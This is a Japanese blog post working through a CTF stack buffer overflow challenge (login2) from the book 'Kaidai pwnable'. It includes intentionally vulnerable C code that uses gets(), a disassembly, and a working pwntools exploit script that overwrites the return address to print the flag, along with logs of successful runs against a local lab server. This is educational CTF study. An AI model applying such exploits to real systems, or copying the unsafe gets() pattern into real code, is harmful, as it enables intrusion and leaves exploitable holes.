以下の内容はhttps://daisuke20240310.hatenablog.com/entry/kaidai_3より取得しました。


書籍「解題pwnable」の第3章「login2(スタックバッファオーバーフロー2)」を読んだ

前回 から、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。

今回は、第3章の「login2(スタックバッファオーバーフロー2)」を読んでいきたいと思います。

それでは、やっていきます。

参考文献

今回、題材にさせて頂いた「解題pwnable」です。

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた
・第54回:書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ
・第55回:システムにインストールされたものと異なるバージョンのglibcを使う方法
・第56回:書籍「詳解セキュリティコンテスト」Pwnableのヒープベースエクスプロイトを読んだ
・第57回:書籍「解題pwnable」の第1章「準備」を読んだ
・第58回:書籍「解題pwnable」の第2章「login1(スタックバッファオーバーフロー1)」を読んだ
・第59回:書籍「解題pwnable」の第3章「login2(スタックバッファオーバーフロー2)」を読んだ ← 今回

以下は、の公式サイトです。特に追加の情報はありませんでした。

nextpublishing.jp

また、以下は、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」の公式の Docker Hub です。書籍では、tag として、3 を使っていますが、4 がアップされています。とりあえず、3 を使ってやっていきます。

https://hub.docker.com/r/kusanok/ctfpwn

では、書籍の章を参考に書き進めていきます。

第3章:login2(スタックバッファオーバーフロー2)

3.1:問題の概要

ソースコード(login2.c)と、プログラムバイナリ(login2)が提供されています。

初回 で紹介したように、docker を起動しておき、ブラウザにアクセスします。下図のように、それぞれのリンクをクリックすることで、ダウンロードすることが出来ます。

login2
login2

実践

まずは、自力でやっていきます。

表層解析します。あ、実行権限がないので付与しておきます。また、最初から、glibc-2.31 に依存ライブラリを変更しておきます(方法、経緯などは、システムにインストールされたものと異なるバージョンのglibcを使う方法 を参考にしてください)。

$ chmod +x login2

$ cp ./login2 ./login2_patch

$ patchelf --set-rpath /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu --set-interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so ./login2_patch 

$ ldd login2
        linux-vdso.so.1 (0x00007ffc9c1e8000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4057d72000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f4057f6e000)

$ file login2_patch
login2_patch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/user/svn/oss/glibc231/lib/x86_64-linux-gnu/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=0fc14a5fcbd45d2800e1e3d4db38bbc0d1ea3dd7, not stripped

$ ~/bin/checksec --file=login2_patch
RELRO          STACK CANARY     NX           PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX disabled  No PIE  No RPATH  RW-RUNPATH  75 Symbols  No       0          2            login2_patch

$ pwn checksec --file=login2_patch
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter3/login2_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No

実行してみます。

問題サーバーにアクセスすると、flag.txt が用意されていると思いますが、ローカルで試すときには、自分で、flag.txt を準備する必要があります。

問題文(Can’t you login?)は、第2章と同じです。ログインできるようにすればいいようです。

$ ./login2_patch 
Failed to read flag.txt

$ nano flag.txt

$ cat flag.txt 
flagflag

$ ./login2_patch
ID: aaa
Password: bbb
Invalid ID or password

ソースコード(login2.c)を見ていきます。

setup関数は、環境準備のためのようです。main関数を見ると、ID は admin であることが分かります。Password は、flag.txt の中身自体のようです(第2章とだいたい同じ)。

ローカル変数の id と、password は、どちらもスタックバッファオーバーフローを起こせそうです。セキュリティ機構としても、特に制約は無さそうなので、リターンアドレスを書き換えて、printf("The flag is: %s\n", flag); にジャンプすれば、フラグを表示できそうです。

//  gcc login2.c -o login2 -fno-stack-protector -no-pie -fcf-protection=none
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char flag[0x20];

char *gets(char *s);

void setup()
{
    FILE *f = NULL;

    alarm(60);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    f = fopen("flag.txt", "rt");
    if (f == NULL) {
        printf("Failed to read flag.txt\n");
        exit(0);
    }
    fscanf(f, "%s", flag);
    fclose(f);
}

int main()
{
    char id[0x20] = "";
    char password[0x20] = "";

    setup();

    printf("ID: ");
    gets(id);
    printf("Password: ");
    gets(password);

    if (strcmp(id, "admin") == 0 &&
        strcmp(password, flag) == 0) {
        printf("Login Succeeded\n");
        printf("The flag is: %s\n", flag);
    } else
        printf("Invalid ID or password\n");
}

GDB で起動して、スタックの状況を確認します。

$ gdb -q login2_patch
Reading symbols from login2_patch...

pwndbg> start
Temporary breakpoint 1 at 0x401290

pwndbg> disassemble
Dump of assembler code for function main:
   0x000000000040128c <+0>:     push   rbp
   0x000000000040128d <+1>:     mov    rbp,rsp
=> 0x0000000000401290 <+4>:     sub    rsp,0x40
   0x0000000000401294 <+8>:     mov    QWORD PTR [rbp-0x20],0x0
   0x000000000040129c <+16>:    mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004012a4 <+24>:    mov    QWORD PTR [rbp-0x10],0x0
   0x00000000004012ac <+32>:    mov    QWORD PTR [rbp-0x8],0x0
   0x00000000004012b4 <+40>:    mov    QWORD PTR [rbp-0x40],0x0
   0x00000000004012bc <+48>:    mov    QWORD PTR [rbp-0x38],0x0
   0x00000000004012c4 <+56>:    mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004012cc <+64>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004012d4 <+72>:    mov    eax,0x0
   0x00000000004012d9 <+77>:    call   0x4011b6 <setup>
   0x00000000004012de <+82>:    lea    rdi,[rip+0xd46]        # 0x40202b
   0x00000000004012e5 <+89>:    mov    eax,0x0
   0x00000000004012ea <+94>:    call   0x401060 <printf@plt>
   0x00000000004012ef <+99>:    lea    rax,[rbp-0x20]
   0x00000000004012f3 <+103>:   mov    rdi,rax
   0x00000000004012f6 <+106>:   call   0x401090 <gets@plt>
   0x00000000004012fb <+111>:   lea    rdi,[rip+0xd2e]        # 0x402030
   0x0000000000401302 <+118>:   mov    eax,0x0
   0x0000000000401307 <+123>:   call   0x401060 <printf@plt>
   0x000000000040130c <+128>:   lea    rax,[rbp-0x40]
   0x0000000000401310 <+132>:   mov    rdi,rax
   0x0000000000401313 <+135>:   call   0x401090 <gets@plt>
   0x0000000000401318 <+140>:   lea    rax,[rbp-0x20]
   0x000000000040131c <+144>:   lea    rsi,[rip+0xd18]        # 0x40203b
   0x0000000000401323 <+151>:   mov    rdi,rax
   0x0000000000401326 <+154>:   call   0x401080 <strcmp@plt>
   0x000000000040132b <+159>:   test   eax,eax
   0x000000000040132d <+161>:   jne    0x40136c <main+224>
   0x000000000040132f <+163>:   lea    rax,[rbp-0x40]
   0x0000000000401333 <+167>:   lea    rsi,[rip+0x2d86]        # 0x4040c0 <flag>
   0x000000000040133a <+174>:   mov    rdi,rax
   0x000000000040133d <+177>:   call   0x401080 <strcmp@plt>
   0x0000000000401342 <+182>:   test   eax,eax
   0x0000000000401344 <+184>:   jne    0x40136c <main+224>
   0x0000000000401346 <+186>:   lea    rdi,[rip+0xcf4]        # 0x402041
   0x000000000040134d <+193>:   call   0x401040 <puts@plt>
   0x0000000000401352 <+198>:   lea    rsi,[rip+0x2d67]        # 0x4040c0 <flag>
   0x0000000000401359 <+205>:   lea    rdi,[rip+0xcf1]        # 0x402051
   0x0000000000401360 <+212>:   mov    eax,0x0
   0x0000000000401365 <+217>:   call   0x401060 <printf@plt>
   0x000000000040136a <+222>:   jmp    0x401378 <main+236>
   0x000000000040136c <+224>:   lea    rdi,[rip+0xcef]        # 0x402062
   0x0000000000401373 <+231>:   call   0x401040 <puts@plt>
   0x0000000000401378 <+236>:   mov    eax,0x0
   0x000000000040137d <+241>:   leave
   0x000000000040137e <+242>:   ret
End of assembler dump.

スタックを可視化します。

アドレス サイズ 内容
rbp - 0x40 32 password[32](rsp)
rbp - 0x20 32 id[32]
rbp

ID を入力するときに、32byte ではなく、48byte を書き込み、末尾の 8byte を、0x401352 あたりを設定すれば良さそうです。

エクスプロイトコードを実装しました。

#!/usr/bin/env python3
from pwn import *

bin_file = './login2_patch'
context(os = 'linux', arch = 'amd64')
context(terminal = ['tmux', 'splitw', '-h'])
context.log_level = 'debug'

binf = ELF( bin_file )

def attack( proc, **kwargs ):
    
    id       = "a" * 32 + "a" * 8
    password = "b" * 31
    result   = id.encode() + p64(0x401352)
    
    proc.sendlineafter( 'ID: ', result[:-1] )
    proc.sendlineafter( 'Password: ', password.encode() )
    
    info( proc.recvall() )

def main():
    
    adrs = "localhost"
    port = 10002
    
    #proc = gdb.debug( bin_file )
    #proc = process( bin_file )
    proc = remote( adrs, port )
    
    attack( proc )
    #proc.interactive()

if __name__ == '__main__':
    main()

実行してみます。

無事に、フラグが表示されました。

$ python exploit_login2.py
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter3/login2_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No
[+] Starting local process './login2_patch' argv=[b'./login2_patch'] : pid 819742
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x4 bytes:
    b'ID: '
[DEBUG] Sent 0x30 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  xaaaaxaaaaxaaaaxaaaax
    *
    00000020  61 61 61 61  61 61 61 61  52 13 40 00  00 00 00 0a  xaaaaxaaaaxR·@·x····x
    00000030
[DEBUG] Received 0xa bytes:
    b'Password: '
[DEBUG] Sent 0x20 bytes:
    b'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n'
[+] Receiving all data: Done (45B)
[DEBUG] Received 0x2d bytes:
    b'Invalid ID or password\n'
    b'The flag is: flagflag\n'
[*] Stopped process './login2_patch' (pid 819742)
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] Invalid ID or password
    The flag is: flagflag

サーバの方もやってみます。こちらも成功しました。

$ python exploit_login2.py
[*] '/home/user/svn/experiment/kaidai_pwnable/chapter3/login2_patch'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'/home/user/svn/oss/glibc231/lib/x86_64-linux-gnu'
    Stripped:   No
[+] Opening connection to localhost on port 10002: Done
/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[DEBUG] Received 0x4 bytes:
    b'ID: '
[DEBUG] Sent 0x30 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  xaaaaxaaaaxaaaaxaaaax
    *
    00000020  61 61 61 61  61 61 61 61  52 13 40 00  00 00 00 0a  xaaaaxaaaaxR·@·x····x
    00000030
[DEBUG] Received 0xa bytes:
    b'Password: '
[DEBUG] Sent 0x20 bytes:
    b'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n'
[+] Receiving all data: Done (69B)
[DEBUG] Received 0x45 bytes:
    b'Invalid ID or password\n'
    b'The flag is: FLAG{IxhH3hu2QZm9zOFu}\n'
    b'Bus error\n'
[*] Closed connection to localhost port 10002
/home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'info')
[*] Invalid ID or password
    The flag is: FLAG{IxhH3hu2QZm9zOFu}
    Bus error

login2 Submit
login2 Submit

3.2:関数のリターンアドレス

ここでは、攻略に必要な、関数のリターンアドレスがスタックに push されてる、という解説がされています。

3.3:攻略

ここでは、今回の問題の攻略方法について、説明されています。上の実践で行った方法とだいたい同じ内容でした。

3.4:ncに非ASCII文字列を入力する方法

ここでは、スクリプトを書かずに、非ASCII文字をコマンドラインから送信する方法について解説されています。

Python3 では、非ASCII文字をコマンドラインで送るのは、少しややこしいらしいです。Python2 では、もう少し簡単だったはずです。そこで、ここでは、Ruby を作った方法が説明されています。私は、使い慣れない Ruby を使うなら、スクリプトを書いた方がいいかな、と思いました。

以上で、第3章「login2(スタックバッファオーバーフロー2)」は終了です。

おわりに

引き続き、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。今回は、第3章「login2(スタックバッファオーバーフロー2)」をやりました。

次回は、第4章「login3(スタックバッファオーバーフロー3)」を進める予定です。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/kaidai_3より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14